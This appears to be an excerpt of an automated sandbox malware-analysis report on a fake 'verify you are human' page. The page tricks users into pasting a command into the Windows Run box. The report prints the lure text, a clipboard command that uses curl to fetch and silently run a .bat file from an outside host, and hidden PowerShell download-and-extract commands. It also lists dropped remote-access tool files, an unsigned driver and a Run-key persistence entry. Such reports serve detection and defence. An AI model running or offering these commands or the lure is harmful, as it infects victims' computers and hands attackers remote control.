Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr
Source:	Binary string: g:\workspace\wsk\divert\install\WDDK\amd64\itvwd64.pdb source: powershell.exe, 0000001C.00000002.1759185059.0000000004FE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.000000000522B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.0000000004E74000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.0000000004E53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.0000000004F2C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1759185059.000000000509B000.00000004.00000800.00020000.00000000.sdmp, itvwd64.sys4.28.dr, itvwd64.sys.28.dr, itvwd64.sys0.28.dr, itvwd64.sys2.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1410\1410\client32\release_unicode\client32.pdb source: client32.exe, 0000001D.00000000.1763409289.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 0000001D.00000002.2019779438.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000021.00000000.1888686094.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000021.00000002.1890861207.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000022.00000002.1973402402.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000022.00000000.1969236658.0000000000F92000.00000002.00000001.01000000.0000000B.sdmp, client32.exe.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 0000001D.00000002.2022624501.000000006C090000.00000002.00000001.01000000.00000010.sdmp, HTCTL32.DLL.28.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: powershell.exe, 0000001C.00000002.1759185059.000000000520A000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 0000001D.00000002.2023193636.0000000070125000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000021.00000002.1892228410.0000000070125000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000022.00000002.1974174646.0000000070125000.00000002.00000001.01000000.0000000E.sdmp, pcicapi.dll.28.dr
Source:	Binary string: C:\buildslave\goldsrc_win32\build\GoldSrc\engine\GL_Release_STEAM\hw.pdb@ source: hw.dll.28.dr
Source:	Binary string: C:\buildslave\goldsrc_win32\build\GoldSrc\engine\GL_Release_STEAM\hw.pdb source: hw.dll.28.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\user\AppData\Roaming\Program.zip', 'C:\Users\user\AppData\Roaming\Directory')"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.insideedgepr.com/raxs.zip?8d21e5f647d81a33c781' -OutFile 'C:\Users\user\AppData\Roaming\Program.zip'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\user\AppData\Roaming\Program.zip', 'C:\Users\user\AppData\Roaming\Directory')"	Jump to behavior

Source: avcodec-53.dll.28.dr	Static PE information: section name: .rodata
Source: avcodec-53.dll.28.dr	Static PE information: section name: /4
Source: libstdc++-6.dll.28.dr	Static PE information: section name: .xdata
Source: avutil-51.dll.28.dr	Static PE information: section name: /4
Source: avcodec-53.dll0.28.dr	Static PE information: section name: .rodata
Source: avcodec-53.dll0.28.dr	Static PE information: section name: /4
Source: libstdc++-6.dll0.28.dr	Static PE information: section name: .xdata
Source: avutil-51.dll0.28.dr	Static PE information: section name: /4
Source: avcodec-53.dll1.28.dr	Static PE information: section name: .rodata
Source: avcodec-53.dll1.28.dr	Static PE information: section name: /4
Source: libstdc++-6.dll1.28.dr	Static PE information: section name: .xdata
Source: avutil-51.dll1.28.dr	Static PE information: section name: /4
Source: avcodec-53.dll2.28.dr	Static PE information: section name: .rodata
Source: avcodec-53.dll2.28.dr	Static PE information: section name: /4
Source: libstdc++-6.dll2.28.dr	Static PE information: section name: .xdata
Source: avutil-51.dll2.28.dr	Static PE information: section name: /4
Source: avcodec-53.dll3.28.dr	Static PE information: section name: .rodata
Source: avcodec-53.dll3.28.dr	Static PE information: section name: /4
Source: libstdc++-6.dll3.28.dr	Static PE information: section name: .xdata
Source: avutil-51.dll3.28.dr	Static PE information: section name: /4
Source: avcodec-53.dll4.28.dr	Static PE information: section name: .rodata
Source: avcodec-53.dll4.28.dr	Static PE information: section name: /4
Source: libstdc++-6.dll4.28.dr	Static PE information: section name: .xdata
Source: avutil-51.dll4.28.dr	Static PE information: section name: /4
Source: PCICL32.DLL.28.dr	Static PE information: section name: .hhshare

Source: msvcr100.dll.28.dr

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 0.2

OCR Text: www.focuslight.com Verify you are human by completing the action below Verifying... www.focuslight.com needs to review the security of your connection before proceeding. Complete these verification steps use keyboard To prove you are not robot 1, Press & hold the Win key + R 2. In verification window, press Ctrl key + V 3, Press Enter key on your keyboard Ray 10: iql Iz6kqha Performance and security by Cloudflare

HTML page adds supicious text to clipboard

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Clipboard modification: C:\WINDOWS\system32\cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c C:\WINDOWS\system32\curl.exe -k -Ss -X POST "https://www.insideedgepr.com/header.php" -o "C:\ProgramData\xss.bat" && start /min "" "C:\ProgramData\xss.bat" Press Enter

Sample is not signed and drops a device driver

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\itvwd64.sys	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\itvwd64.sys	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\itvwd64.sys	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\itvwd64.sys	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\itvwd64.sys	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\itvwd64.sys	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\client32.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\branding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\pcicapi.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\avcodec-53.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\kpodja\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\gehrga\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\msvcr100.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\nkakus\libstdc++-6.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\tailji\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\mirvfa\itvwd64.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\katrga\avutil-51.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Directory\hw.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Program_Cs1			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Program_Cs1			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
